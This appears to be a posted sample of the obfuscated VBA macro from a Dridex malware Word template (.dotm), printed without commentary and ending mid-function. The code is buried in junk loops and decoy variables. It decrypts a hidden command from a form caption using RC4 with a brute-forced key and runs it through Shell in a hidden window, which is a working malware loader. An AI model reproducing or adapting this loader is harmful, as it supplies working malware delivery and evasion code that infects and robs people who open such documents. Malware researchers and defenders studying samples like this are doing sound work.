Original vba code inside the dridex's dotm file
Dim SRNATGh() As Byte | |
Dim AsVWQk(15812 - 6812) As Long, YeAeXXV(10269 - 270) As Long | |
Private Sub GmY() | |
Dim GLxZqJ2 As Integer | |
GLxZqJ2 = 89 | |
If GLxZqJ2 > 33 Then | |
GLxZqJ2 = 4 | |
Do | |
GLxZqJ2 = GLxZqJ2 + 1 | |
Loop While GLxZqJ2 <= 220 | |
End If | |
Dim U7PlAu1 As String | |
If Round(55, 446) = True Then U7PlAu1 = "990" | |
Dim N42Wo() As String, RJz As Integer | |
Dim BzS As Integer | |
BzS = 67 | |
If BzS > 25 Then | |
BzS = 2 | |
Do While BzS <= 264 | |
BzS = BzS + 1 | |
Loop | |
End If | |
Dim U7PlAu2 As String | |
If IsDate(923) = True Then U7PlAu2 = "552" | |
N42Wo = Split(UserForm1.Label1.Caption, Qxd7GSg(44)) | |
Dim DcEbd5 As Integer | |
DcEbd5 = 24 | |
If DcEbd5 > 32 Then | |
DcEbd5 = 9 | |
Do Until DcEbd5 >= 27 | |
DcEbd5 = DcEbd5 + 1 | |
Loop | |
End If | |
Dim U7PlAu3 As String | |
ReDim SRNATGh(3627) | |
Dim WG As Integer | |
WG = 94 | |
If WG > 29 Then | |
WG = 4 | |
Do While WG <= 205 | |
WG = WG + 1 | |
Loop | |
End If | |
Dim U7PlAu4 As String | |
U7PlAu4 = CVar(346) | |
For RJz = 0 To 3627 | |
SRNATGh(RJz) = N42Wo(RJz) | |
Next RJz | |
Dim OXK As Integer | |
OXK = 62 | |
If OXK > 22 Then | |
OXK = 8 | |
Do While OXK <= 11 | |
OXK = OXK + 1 | |
Loop | |
End If | |
Dim U7PlAu5 As String | |
U7PlAu5 = CDate(913) | |
Dim Mea As Long | |
Dim MoSP9Y8 As Integer | |
MoSP9Y8 = 87 | |
If MoSP9Y8 > 38 Then | |
MoSP9Y8 = 8 | |
Do Until MoSP9Y8 >= 157 | |
MoSP9Y8 = MoSP9Y8 + 1 | |
Loop | |
End If | |
Dim U7PlAu6 As String | |
If IsMissing(346) = True Then U7PlAu6 = 966 | |
Dim XSRK2vh(13) As Byte, SSXJM(36) As Byte | |
Dim SjGdk As Integer | |
SjGdk = 26 | |
If SjGdk > 29 Then | |
SjGdk = 6 | |
While SjGdk <= 253 | |
SjGdk = SjGdk + 1 | |
Wend | |
End If | |
Dim U7PlAu7 As String | |
U7PlAu7 = CByte(66) | |
XSRK2vh(0) = 237 | |
XSRK2vh(1) = 28 | |
XSRK2vh(2) = 3 | |
XSRK2vh(3) = 238 | |
XSRK2vh(4) = 231 | |
XSRK2vh(5) = 14 | |
XSRK2vh(6) = 250 | |
XSRK2vh(7) = 213 | |
XSRK2vh(8) = 86 | |
XSRK2vh(9) = 253 | |
XSRK2vh(10) = 10 | |
XSRK2vh(11) = 215 | |
XSRK2vh(12) = 237 | |
XSRK2vh(13) = 58 | |
Dim OREO As Integer | |
OREO = 62 | |
If OREO > 27 Then | |
OREO = 2 | |
While OREO <= 149 | |
OREO = OREO + 1 | |
Wend | |
End If | |
Dim U7PlAu8 As String | |
U7PlAu8 = Year(Now) | |
SSXJM(0) = 79 | |
SSXJM(1) = 88 | |
SSXJM(2) = 80 | |
SSXJM(3) = 87 | |
SSXJM(4) = 89 | |
SSXJM(5) = 77 | |
SSXJM(6) = 101 | |
SSXJM(7) = 50 | |
SSXJM(8) = 86 | |
SSXJM(9) = 118 | |
SSXJM(10) = 54 | |
SSXJM(11) = 70 | |
SSXJM(12) = 120 | |
SSXJM(13) = 90 | |
SSXJM(14) = 103 | |
SSXJM(15) = 117 | |
SSXJM(16) = 65 | |
Dim FvUA As Integer | |
FvUA = 30 | |
If FvUA > 37 Then | |
FvUA = 8 | |
Do | |
FvUA = FvUA + 1 | |
Loop While FvUA <= 279 | |
End If | |
Dim U7PlAu9 As String | |
If IsError(729) = True Then U7PlAu9 = "342" | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
SSXJM(17) = UMI(Mea, 1) | |
SSXJM(18) = UMI(Mea, 2) | |
SSXJM(19) = UMI(Mea, 3) | |
SSXJM(20) = UMI(Mea, 4) | |
SSXJM(21) = SSXJM(17) | |
SSXJM(22) = SSXJM(18) | |
SSXJM(23) = SSXJM(19) | |
SSXJM(24) = SSXJM(20) | |
SSXJM(25) = SSXJM(17) | |
SSXJM(26) = SSXJM(18) | |
SSXJM(27) = SSXJM(19) | |
SSXJM(28) = SSXJM(20) | |
SSXJM(29) = SSXJM(17) | |
SSXJM(30) = SSXJM(18) | |
SSXJM(31) = SSXJM(19) | |
SSXJM(32) = SSXJM(20) | |
SSXJM(33) = SSXJM(17) | |
SSXJM(34) = SSXJM(18) | |
SSXJM(35) = SSXJM(19) | |
SSXJM(36) = SSXJM(20) | |
If Cv8Cg3(XSRK2vh, SSXJM) = "TYTKJQBmiDtlWm" Then Exit For | |
Next Mea | |
Dim SjR As Integer | |
SjR = 89 | |
If SjR > 37 Then | |
SjR = 1 | |
While SjR <= 137 | |
SjR = SjR + 1 | |
Wend | |
End If | |
Dim U7PlAu10 As String | |
Dim NYAqlva(10) As Byte, DjFRc(35) As Byte | |
Dim Ir0HJs As Integer | |
Ir0HJs = 15 | |
If Ir0HJs > 37 Then | |
Ir0HJs = 3 | |
For Ir0HJs = 1 To 130 | |
Ir0HJs = Ir0HJs + 1 | |
Next | |
End If | |
Dim U7PlAu11 As String | |
U7PlAu11 = Minute(Now) | |
NYAqlva(0) = 86 | |
NYAqlva(1) = 3 | |
NYAqlva(2) = 109 | |
NYAqlva(3) = 200 | |
NYAqlva(4) = 61 | |
NYAqlva(5) = 230 | |
NYAqlva(6) = 34 | |
NYAqlva(7) = 53 | |
NYAqlva(8) = 211 | |
NYAqlva(9) = 172 | |
NYAqlva(10) = 225 | |
Dim XBmhy As Integer | |
XBmhy = 18 | |
If XBmhy > 29 Then | |
XBmhy = 6 | |
Do Until XBmhy >= 87 | |
XBmhy = XBmhy + 1 | |
Loop | |
End If | |
Dim U7PlAu12 As String | |
DjFRc(0) = 77 | |
DjFRc(1) = 120 | |
DjFRc(2) = 69 | |
DjFRc(3) = 90 | |
DjFRc(4) = 107 | |
DjFRc(5) = 89 | |
DjFRc(6) = 72 | |
DjFRc(7) = 100 | |
DjFRc(8) = 52 | |
DjFRc(9) = 87 | |
DjFRc(10) = 87 | |
DjFRc(11) = 105 | |
DjFRc(12) = 84 | |
DjFRc(13) = 55 | |
DjFRc(14) = 52 | |
DjFRc(15) = 89 | |
Dim BCLxSgi As Integer | |
BCLxSgi = 61 | |
If BCLxSgi > 32 Then | |
BCLxSgi = 9 | |
For BCLxSgi = 1 To 45 | |
BCLxSgi = BCLxSgi + 1 | |
Next | |
End If | |
Dim U7PlAu13 As String | |
U7PlAu13 = Day(397) | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
DjFRc(16) = UMI(Mea, 1) | |
DjFRc(17) = UMI(Mea, 2) | |
DjFRc(18) = UMI(Mea, 3) | |
DjFRc(19) = UMI(Mea, 4) | |
DjFRc(20) = DjFRc(16) | |
DjFRc(21) = DjFRc(17) | |
DjFRc(22) = DjFRc(18) | |
DjFRc(23) = DjFRc(19) | |
DjFRc(24) = DjFRc(16) | |
DjFRc(25) = DjFRc(17) | |
DjFRc(26) = DjFRc(18) | |
DjFRc(27) = DjFRc(19) | |
DjFRc(28) = DjFRc(16) | |
DjFRc(29) = DjFRc(17) | |
DjFRc(30) = DjFRc(18) | |
DjFRc(31) = DjFRc(19) | |
DjFRc(32) = DjFRc(16) | |
DjFRc(33) = DjFRc(17) | |
DjFRc(34) = DjFRc(18) | |
DjFRc(35) = DjFRc(19) | |
If Cv8Cg3(NYAqlva, DjFRc) = "DHS4qvwNRXr" Then Exit For | |
Next Mea | |
Dim Lya As Integer | |
Lya = 69 | |
If Lya > 32 Then | |
Lya = 8 | |
Do While Lya <= 174 | |
Lya = Lya + 1 | |
Loop | |
End If | |
Dim U7PlAu14 As String | |
U7PlAu14 = Second(Now) | |
Dim V9PbJkV(15) As Byte, LW(36) As Byte | |
Dim KEdk As Integer | |
KEdk = 34 | |
If KEdk > 34 Then | |
KEdk = 4 | |
While KEdk <= 226 | |
KEdk = KEdk + 1 | |
Wend | |
End If | |
Dim U7PlAu15 As String | |
If 541 + 823 = 240 Then Beep | |
V9PbJkV(0) = 41 | |
V9PbJkV(1) = 167 | |
V9PbJkV(2) = 214 | |
V9PbJkV(3) = 167 | |
V9PbJkV(4) = 44 | |
V9PbJkV(5) = 230 | |
V9PbJkV(6) = 182 | |
V9PbJkV(7) = 5 | |
V9PbJkV(8) = 218 | |
V9PbJkV(9) = 85 | |
V9PbJkV(10) = 185 | |
V9PbJkV(11) = 32 | |
V9PbJkV(12) = 31 | |
V9PbJkV(13) = 179 | |
V9PbJkV(14) = 43 | |
V9PbJkV(15) = 107 | |
Dim U7PlAu16 As String | |
U7PlAu16 = Weekday(430) | |
Dim IGse As Integer | |
IGse = 11 | |
If IGse > 27 Then | |
IGse = 1 | |
Do While IGse <= 260 | |
IGse = IGse + 1 | |
Loop | |
End If | |
LW(0) = 85 | |
LW(1) = 54 | |
LW(2) = 83 | |
LW(3) = 84 | |
LW(4) = 76 | |
LW(5) = 75 | |
LW(6) = 118 | |
LW(7) = 119 | |
LW(8) = 56 | |
LW(9) = 85 | |
LW(10) = 90 | |
LW(11) = 66 | |
LW(12) = 115 | |
LW(13) = 97 | |
LW(14) = 115 | |
LW(15) = 56 | |
LW(16) = 90 | |
Dim VJ As Integer | |
VJ = 20 | |
If VJ > 21 Then | |
VJ = 9 | |
Do Until VJ >= 152 | |
VJ = VJ + 1 | |
Loop | |
End If | |
Dim U7PlAu17 As String | |
U7PlAu17 = Day(Now) | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
LW(17) = UMI(Mea, 1) | |
LW(18) = UMI(Mea, 2) | |
LW(19) = UMI(Mea, 3) | |
LW(20) = UMI(Mea, 4) | |
LW(21) = LW(17) | |
LW(22) = LW(18) | |
LW(23) = LW(19) | |
LW(24) = LW(20) | |
LW(25) = LW(17) | |
LW(26) = LW(18) | |
LW(27) = LW(19) | |
LW(28) = LW(20) | |
LW(29) = LW(17) | |
LW(30) = LW(18) | |
LW(31) = LW(19) | |
LW(32) = LW(20) | |
LW(33) = LW(17) | |
LW(34) = LW(18) | |
LW(35) = LW(19) | |
LW(36) = LW(20) | |
If Cv8Cg3(V9PbJkV, LW) = "QjthqMM0nBOiLvHY" Then Exit For | |
Next Mea | |
Dim J9 As Integer | |
J9 = 3 | |
If J9 > 38 Then | |
J9 = 3 | |
For J9 = 1 To 16 | |
J9 = J9 + 1 | |
Next | |
End If | |
Dim U7PlAu18 As String | |
U7PlAu18 = CInt(58) | |
Dim NSJBW7B(15) As Byte, K2Z(37) As Byte | |
Dim ShRl As Integer | |
ShRl = 72 | |
If ShRl > 25 Then | |
ShRl = 8 | |
Do | |
ShRl = ShRl + 1 | |
Loop While ShRl <= 219 | |
End If | |
'ingredient | |
Dim U7PlAu19 As String | |
If CBool(865) = True Then U7PlAu19 = 113 | |
NSJBW7B(0) = 171 | |
NSJBW7B(1) = 107 | |
NSJBW7B(2) = 175 | |
NSJBW7B(3) = 221 | |
NSJBW7B(4) = 59 | |
NSJBW7B(5) = 101 | |
NSJBW7B(6) = 156 | |
NSJBW7B(7) = 9 | |
NSJBW7B(8) = 207 | |
NSJBW7B(9) = 162 | |
NSJBW7B(10) = 59 | |
NSJBW7B(11) = 196 | |
NSJBW7B(12) = 242 | |
NSJBW7B(13) = 21 | |
NSJBW7B(14) = 42 | |
NSJBW7B(15) = 42 | |
Dim QMA As Integer | |
QMA = 99 | |
If QMA > 23 Then | |
QMA = 6 | |
Do While QMA <= 71 | |
QMA = QMA + 1 | |
Loop | |
End If | |
Dim U7PlAu20 As String | |
If U7PlAu20 = "547" Then DoEvents | |
K2Z(0) = 73 | |
K2Z(1) = 101 | |
K2Z(2) = 103 | |
K2Z(3) = 108 | |
K2Z(4) = 69 | |
K2Z(5) = 54 | |
K2Z(6) = 73 | |
K2Z(7) = 70 | |
K2Z(8) = 117 | |
K2Z(9) = 101 | |
K2Z(10) = 66 | |
K2Z(11) = 89 | |
K2Z(12) = 118 | |
K2Z(13) = 69 | |
K2Z(14) = 83 | |
K2Z(15) = 66 | |
K2Z(16) = 90 | |
K2Z(17) = 98 | |
Dim E9TGqf As Integer | |
E9TGqf = 19 | |
If E9TGqf > 32 Then | |
E9TGqf = 6 | |
For E9TGqf = 1 To 105 | |
E9TGqf = E9TGqf + 1 | |
Next | |
End If | |
Dim U7PlAu21 As String | |
U7PlAu21 = NPer(18, 935, 166) | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
K2Z(18) = UMI(Mea, 1) | |
K2Z(19) = UMI(Mea, 2) | |
K2Z(20) = UMI(Mea, 3) | |
K2Z(21) = UMI(Mea, 4) | |
K2Z(22) = K2Z(18) | |
K2Z(23) = K2Z(19) | |
K2Z(24) = K2Z(20) | |
K2Z(25) = K2Z(21) | |
K2Z(26) = K2Z(18) | |
K2Z(27) = K2Z(19) | |
K2Z(28) = K2Z(20) | |
K2Z(29) = K2Z(21) | |
K2Z(30) = K2Z(18) | |
K2Z(31) = K2Z(19) | |
K2Z(32) = K2Z(20) | |
K2Z(33) = K2Z(21) | |
K2Z(34) = K2Z(18) | |
K2Z(35) = K2Z(19) | |
K2Z(36) = K2Z(20) | |
K2Z(37) = K2Z(21) | |
If Cv8Cg3(NSJBW7B, K2Z) = "BZay9OtzSvNJpWTY" Then Exit For | |
Next Mea | |
Dim Jr7Qx As Integer | |
Jr7Qx = 21 | |
If Jr7Qx > 29 Then | |
Jr7Qx = 3 | |
Do | |
Jr7Qx = Jr7Qx + 1 | |
Loop While Jr7Qx <= 160 | |
End If | |
Dim U7PlAu22 As String | |
If U7PlAu22 = "944" Then U7PlAu22 = Command | |
Dim UTJ54ez As Integer | |
UTJ54ez = 69 | |
If UTJ54ez > 26 Then | |
UTJ54ez = 3 | |
For UTJ54ez = 1 To 226 | |
UTJ54ez = UTJ54ez + 1 | |
Next | |
End If | |
Dim U7PlAu23 As String | |
If Abs(680) = 80 Then U7PlAu23 = 887 | |
Dim SiHbpw(147) As Byte, SIf As Long, CRfSt As Long | |
Dim Ju1 As Integer | |
Ju1 = 18 | |
If Ju1 > 31 Then | |
Ju1 = 9 | |
For Ju1 = 1 To 190 | |
Ju1 = Ju1 + 1 | |
Next | |
End If | |
Dim U7PlAu24 As String | |
SIf = 0 | |
Dim O6eJG As Integer | |
O6eJG = 28 | |
If O6eJG > 36 Then | |
O6eJG = 9 | |
Do While O6eJG <= 83 | |
O6eJG = O6eJG + 1 | |
Loop | |
End If | |
Dim U7PlAu25 As String | |
U7PlAu25 = CCur(235) | |
CRfSt = 0 | |
Dim Jb As Integer | |
Jb = 97 | |
If Jb > 34 Then | |
Jb = 1 | |
While Jb <= 263 | |
Jb = Jb + 1 | |
Wend | |
End If | |
Dim U7PlAu26 As String | |
U7PlAu26 = CLng(919) | |
For Mea = 0 To OHb(SSXJM) | |
SiHbpw(Mea) = SSXJM(Mea) | |
SIf = SIf + 1 | |
Next Mea | |
Dim E9mRm3 As Integer | |
E9mRm3 = 83 | |
If E9mRm3 > 38 Then | |
E9mRm3 = 5 | |
While E9mRm3 <= 220 | |
E9mRm3 = E9mRm3 + 1 | |
Wend | |
End If | |
Dim U7PlAu27 As String | |
U7PlAu27 = CDbl(242) | |
For Mea = OHb(SSXJM) + 1 To OHb(DjFRc) + SIf | |
SiHbpw(Mea) = DjFRc(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
Dim ThB2l As Integer | |
ThB2l = 69 | |
If ThB2l > 20 Then | |
ThB2l = 9 | |
While ThB2l <= 256 | |
ThB2l = ThB2l + 1 | |
Wend | |
End If | |
Dim U7PlAu28 As String | |
CRfSt = 0 | |
Dim ThW9vl As Integer | |
ThW9vl = 81 | |
If ThW9vl > 24 Then | |
ThW9vl = 5 | |
While ThW9vl <= 212 | |
ThW9vl = ThW9vl + 1 | |
Wend | |
End If | |
Dim U7PlAu29 As String | |
U7PlAu29 = CVar(733) | |
For Mea = SIf To OHb(LW) + SIf | |
SiHbpw(Mea) = LW(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
Dim IQo2fX As Integer | |
IQo2fX = 29 | |
If IQo2fX > 25 Then | |
IQo2fX = 9 | |
Do Until IQo2fX >= 249 | |
IQo2fX = IQo2fX + 1 | |
Loop | |
End If | |
Dim U7PlAu30 As String | |
U7PlAu30 = Year(Now) | |
CRfSt = 0 | |
Dim Ya9Z6 As Integer | |
Ya9Z6 = 82 | |
If Ya9Z6 > 23 Then | |
Ya9Z6 = 6 | |
Do While Ya9Z6 <= 156 | |
Ya9Z6 = Ya9Z6 + 1 | |
Loop | |
End If | |
Dim U7PlAu31 As String | |
U7PlAu31 = TimeSerial(104, 352, 337) | |
For Mea = SIf To OHb(K2Z) + SIf | |
SiHbpw(Mea) = K2Z(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
Dim V5PXtk As Integer | |
V5PXtk = 98 | |
If V5PXtk > 34 Then | |
V5PXtk = 1 | |
Do While V5PXtk <= 192 | |
V5PXtk = V5PXtk + 1 | |
Loop | |
End If | |
Dim U7PlAu32 As String | |
U7PlAu32 = DoEvents | |
OcMm1T = Cv8Cg3(SRNATGh, SiHbpw) | |
Dim LGE As Integer | |
LGE = 16 | |
If LGE > 23 Then | |
LGE = 9 | |
Do While LGE <= 148 | |
LGE = LGE + 1 | |
Loop | |
End If | |
Dim U7PlAu33 As String | |
U7PlAu33 = CurDir | |
Shell OcMm1T, (374 - 374) | |
Dim OZ As Integer | |
OZ = 24 | |
If OZ > 39 Then | |
OZ = 6 | |
Do | |
OZ = OZ + 1 | |
Loop While OZ <= 100 | |
End If | |
Dim U7PlAu34 As String | |
U7PlAu34 = CInt(267) | |
End Sub | |
Private Sub GwQ9d() | |
Dim WQ0IzA1 As Integer | |
WQ0IzA1 = 74 | |
If WQ0IzA1 > 38 Then | |
WQ0IzA1 = 5 | |
For WQ0IzA1 = 1 To 61 | |
WQ0IzA1 = WQ0IzA1 + 1 | |
Next | |
End If | |
Dim U7PlAu35 As String | |
U7PlAu35 = Hour(Now) | |
Dim EZu5 As Integer | |
EZu5 = 79 | |
If EZu5 > 35 Then | |
EZu5 = 9 | |
Do Until EZu5 >= 66 | |
EZu5 = EZu5 + 1 | |
Loop | |
End If | |
Dim U7PlAu36 As String | |
U7PlAu36 = Month(792) | |
End Sub | |
Private Function Qxd7GSg(ByVal BHxHFg As Integer) As String | |
Dim GJGmH9 As Integer | |
GJGmH9 = 18 | |
If GJGmH9 > 37 Then | |
GJGmH9 = 8 | |
Do | |
GJGmH9 = GJGmH9 + 1 | |
Loop While GJGmH9 <= 74 | |
End If | |
Dim U7PlAu37 As String | |
If U7PlAu37 = "746" Then MsgBox 669, 893, "955" | |
Dim Wz(1) As Byte, KPA3 As Byte, LrdfxYI As Byte | |
Dim ODbR8oE As Integer | |
ODbR8oE = 3 | |
If ODbR8oE > 20 Then | |
ODbR8oE = 3 | |
Do Until ODbR8oE >= 188 | |
ODbR8oE = ODbR8oE + 1 | |
Loop | |
End If | |
Dim U7PlAu38 As String | |
If IsDate(500) = True Then U7PlAu38 = "883" | |
If BHxHFg < 0 Then Exit Function | |
Dim Gghli As Integer | |
Gghli = 5 | |
If Gghli > 24 Then | |
Gghli = 7 | |
Do | |
Gghli = Gghli + 1 | |
Loop While Gghli <= 300 | |
End If | |
Dim U7PlAu39 As String | |
U7PlAu39 = DoEvents | |
If BHxHFg > 255 Then | |
Dim XjQ As Integer | |
XjQ = 16 | |
If XjQ > 23 Then | |
XjQ = 9 | |
Do While XjQ <= 148 | |
XjQ = XjQ + 1 | |
Loop | |
End If | |
Dim U7PlAu40 As String | |
U7PlAu40 = CurDir | |
LrdfxYI = 0 | |
Else | |
Dim D4qRk As Integer | |
D4qRk = 38 | |
If D4qRk > 24 Then | |
D4qRk = 9 | |
While D4qRk <= 214 | |
D4qRk = D4qRk + 1 | |
Wend | |
End If | |
Dim U7PlAu41 As String | |
If Round(764, 817) = True Then U7PlAu41 = "659" | |
KPA3 = BHxHFg | |
Dim RI99Rye As Integer | |
RI99Rye = 17 | |
If RI99Rye > 38 Then | |
RI99Rye = 7 | |
Do Until RI99Rye >= 151 | |
RI99Rye = RI99Rye + 1 | |
Loop | |
End If | |
Dim U7PlAu42 As String | |
U7PlAu42 = Now | |
LrdfxYI = 0 | |
Dim W6Kq As Integer | |
W6Kq = 18 | |
If W6Kq > 21 Then | |
W6Kq = 4 | |
Do While W6Kq <= 287 | |
'be | |
W6Kq = W6Kq + 1 | |
Loop | |
End If | |
Dim U7PlAu43 As String | |
U7PlAu43 = Second(Now) | |
End If | |
Dim OI As Integer | |
OI = 33 | |
If OI > 37 Then | |
OI = 1 | |
Do Until OI >= 190 | |
OI = OI + 1 | |
Loop | |
End If | |
Dim U7PlAu44 As String | |
DateSerial 286, 737, 374 | |
Wz(0) = KPA3 | |
Dim UfGEi As Integer | |
UfGEi = 79 | |
If UfGEi > 33 Then | |
UfGEi = 4 | |
For UfGEi = 1 To 36 | |
UfGEi = UfGEi + 1 | |
Next | |
End If | |
Dim U7PlAu45 As String | |
If U7PlAu45 = "215" Then U7PlAu45 = EOF(684) | |
Wz(1) = LrdfxYI | |
Dim FJFBW As Integer | |
FJFBW = 88 | |
If FJFBW > 39 Then | |
FJFBW = 5 | |
Do | |
FJFBW = FJFBW + 1 | |
Loop While FJFBW <= 97 | |
End If | |
Dim U7PlAu46 As String | |
U7PlAu46 = Month(243) | |
Qxd7GSg = Wz | |
Dim TupjlMa As Integer | |
TupjlMa = 47 | |
If TupjlMa > 38 Then | |
TupjlMa = 4 | |
Do | |
TupjlMa = TupjlMa + 1 | |
Loop While TupjlMa <= 191 | |
End If | |
Dim U7PlAu47 As String | |
U7PlAu47 = Dir("190") | |
End Function | |
Private Function Cv8Cg3(K2fkl() As Byte, TBfWWQw() As Byte) As String | |
Dim Vuba As Integer | |
Vuba = 66 | |
If Vuba > 32 Then | |
Vuba = 3 | |
Do | |
Vuba = Vuba + 1 | |
Loop While Vuba <= 291 | |
End If | |
On Error Resume Next | |
Dim FVxV As Integer | |
FVxV = 73 | |
If FVxV > 37 Then | |
FVxV = 7 | |
Do | |
FVxV = FVxV + 1 | |
Loop While FVxV <= 82 | |
End If | |
Dim DkB(0 To 255) As Integer, TzwC2o8 As Long, JuxOGCD As Long, YpxaVbI As Long, TjCv As Byte, GA() As Byte, OT() As Byte | |
Dim Xhe0kgJ As Integer | |
Xhe0kgJ = 56 | |
If Xhe0kgJ > 38 Then | |
Xhe0kgJ = 4 | |
Do | |
Xhe0kgJ = Xhe0kgJ + 1 | |
Loop While Xhe0kgJ <= 181 | |
End If | |
ReDim GA(OHb(K2fkl)) As Byte | |
Dim QP421G6 As Integer | |
QP421G6 = 26 | |
If QP421G6 > 36 Then | |
QP421G6 = 2 | |
Do | |
QP421G6 = QP421G6 + 1 | |
Loop While QP421G6 <= 273 | |
End If | |
GA = K2fkl | |
Dim Jwrj76 As Integer | |
Jwrj76 = 51 | |
If Jwrj76 > 26 Then | |
Jwrj76 = 9 | |
For Jwrj76 = 1 To 94 | |
Jwrj76 = Jwrj76 + 1 | |
Next | |
End If | |
ReDim OT(OHb(TBfWWQw)) As Byte | |
Dim LgtJoH As Integer | |
LgtJoH = 86 | |
If LgtJoH > 34 Then | |
LgtJoH = 2 | |
While LgtJoH <= 215 | |
LgtJoH = LgtJoH + 1 | |
'worshipper | |
Wend | |
End If | |
OT = TBfWWQw | |
Dim MQwtUTa As Integer | |
MQwtUTa = 47 | |
If MQwtUTa > 38 Then | |
MQwtUTa = 4 | |
Do Until MQwtUTa >= 148 | |
MQwtUTa = MQwtUTa + 1 | |
Loop | |
End If | |
For TzwC2o8 = 0 To 255 | |
DkB(TzwC2o8) = TzwC2o8 | |
Next TzwC2o8 | |
Dim OCU2 As Integer | |
OCU2 = 36 | |
If OCU2 > 40 Then | |
OCU2 = 2 | |
Do | |
OCU2 = OCU2 + 1 | |
Loop While OCU2 <= 206 | |
End If | |
TzwC2o8 = 0 | |
Dim Jq04sI As Integer | |
Jq04sI = 94 | |
If Jq04sI > 24 Then | |
Jq04sI = 9 | |
Do Until Jq04sI >= 239 | |
Jq04sI = Jq04sI + 1 | |
Loop | |
End If | |
JuxOGCD = 0 | |
Dim Tvzseu As Integer | |
Tvzseu = 6 | |
If Tvzseu > 28 Then | |
Tvzseu = 4 | |
Do While Tvzseu <= 52 | |
Tvzseu = Tvzseu + 1 | |
Loop | |
End If | |
YpxaVbI = 0 | |
Dim LHNrk As Integer | |
LHNrk = 45 | |
If LHNrk > 30 Then | |
LHNrk = 4 | |
For LHNrk = 1 To 203 | |
LHNrk = LHNrk + 1 | |
Next | |
End If | |
For TzwC2o8 = 0 To 255 | |
JuxOGCD = SGo0s((JuxOGCD + DkB(TzwC2o8) + OT(SGo0s(TzwC2o8, (OHb(TBfWWQw) + 1)))), (256)) | |
TjCv = DkB(TzwC2o8) | |
DkB(TzwC2o8) = DkB(JuxOGCD) | |
DkB(JuxOGCD) = TjCv | |
Next TzwC2o8 | |
Dim Yi5lkRI As Integer | |
Yi5lkRI = 70 | |
If Yi5lkRI > 39 Then | |
Yi5lkRI = 5 | |
Do | |
Yi5lkRI = Yi5lkRI + 1 | |
Loop While Yi5lkRI <= 199 | |
End If | |
TzwC2o8 = 0 | |
Dim FRMTHI As Integer | |
FRMTHI = 92 | |
If FRMTHI > 31 Then | |
FRMTHI = 7 | |
Do Until FRMTHI >= 232 | |
FRMTHI = FRMTHI + 1 | |
Loop | |
End If | |
JuxOGCD = 0 | |
Dim JXLH3 As Integer | |
JXLH3 = 39 | |
If JXLH3 > 38 Then | |
JXLH3 = 4 | |
Do | |
JXLH3 = JXLH3 + 1 | |
Loop While JXLH3 <= 170 | |
End If | |
YpxaVbI = 0 | |
Dim Oc6xzpN As Integer | |
Oc6xzpN = 80 | |
If Oc6xzpN > 23 Then | |
Oc6xzpN = 7 | |
Do While Oc6xzpN <= 78 | |
Oc6xzpN = Oc6xzpN + 1 | |
Loop | |
End If | |
For TzwC2o8 = 0 To OHb(K2fkl) | |
JuxOGCD = SGo0s((JuxOGCD + 1), 256) | |
YpxaVbI = SGo0s((YpxaVbI + DkB(JuxOGCD)), 256) | |
TjCv = DkB(JuxOGCD) | |
DkB(JuxOGCD) = DkB(YpxaVbI) | |
DkB(YpxaVbI) = TjCv | |
GA(TzwC2o8) = Iy23W(GA(TzwC2o8), (DkB(SGo0s((DkB(JuxOGCD) + DkB(YpxaVbI)), (256))))) | |
Next TzwC2o8 | |
Dim DhJtb As Integer | |
DhJtb = 82 | |
If DhJtb > 37 Then | |
DhJtb = 8 | |
Do Until DhJtb >= 221 | |
DhJtb = DhJtb + 1 | |
Loop | |
End If | |
Cv8Cg3 = M6C(GA) | |
Dim BTy1hu As Integer | |
BTy1hu = 94 | |
If BTy1hu > 35 Then | |
BTy1hu = 2 | |
While BTy1hu <= 57 | |
BTy1hu = BTy1hu + 1 | |
Wend | |
End If | |
End Function | |
Private Function Iy23W(Y4lZ, RvJWmVD) | |
Dim Tr90m67 As Integer | |
Tr90m67 = 69 | |
If Tr90m67 > 40 Then | |
Tr90m67 = 4 | |
Do Until Tr90m67 >= 257 | |
Tr90m67 = Tr90m67 + 1 | |
Loop | |
End If | |
Dim U7PlAu48 As String | |
If U7PlAu48 = "345" Then GetObject "820", "113" | |
Iy23W = (Y4lZ And Not RvJWmVD) Or (Not Y4lZ And RvJWmVD) | |
Dim VjZ As Integer | |
VjZ = 94 | |
If VjZ > 30 Then | |
VjZ = 8 | |
Do Until VjZ >= 92 | |
VjZ = VjZ + 1 | |
Loop | |
End If | |
Dim U7PlAu49 As String | |
DateSerial 885, 921, 550 | |
End Function | |
Private Function OHb(ByVal Uv0ZqrD As Variant) As Long | |
Dim CD6ErW As Integer | |
CD6ErW = 34 | |
If CD6ErW > 20 Then | |
CD6ErW = 9 | |
Do Until CD6ErW >= 185 | |
CD6ErW = CD6ErW + 1 | |
Loop | |
End If | |
Dim U7PlAu50 As String | |
U7PlAu50 = AscB(741) | |
On Error GoTo S97 | |
Dim DHs4 As Integer | |
DHs4 = 60 | |
If DHs4 > 24 Then | |
DHs4 = 6 | |
Do While DHs4 <= 171 | |
DHs4 = DHs4 + 1 | |
Loop | |
End If | |
Dim U7PlAu51 As String | |
U7PlAu51 = Year(497) | |
Dim Jkpzfs As Long, SzvYWV As Variant | |
Dim SSrgY As Integer | |
SSrgY = 5 | |
If SSrgY > 23 Then | |
SSrgY = 1 | |
While SSrgY <= 233 | |
SSrgY = SSrgY + 1 | |
Wend | |
End If | |
Dim U7PlAu52 As String | |
U7PlAu52 = Hour(645) | |
Do | |
SzvYWV = Uv0ZqrD(Jkpzfs) | |
Jkpzfs = Jkpzfs + 1 | |
Loop | |
Dim LBCjr As Integer | |
LBCjr = 69 | |
If LBCjr > 24 Then | |
LBCjr = 6 | |
Do | |
LBCjr = LBCjr + 1 | |
Loop While LBCjr <= 297 | |
End If | |
Dim U7PlAu53 As String | |
If U7PlAu53 = "705" Then U7PlAu53 = Command | |
S97: | |
Dim QLJUw As Integer | |
QLJUw = 98 | |
If QLJUw > 33 Then | |
QLJUw = 4 | |
For QLJUw = 1 To 89 | |
QLJUw = QLJUw + 1 | |
Next | |
End If | |
Dim U7PlAu54 As String | |
U7PlAu54 = CInt(163) | |
If Jkpzfs = 0 Then Exit Function | |
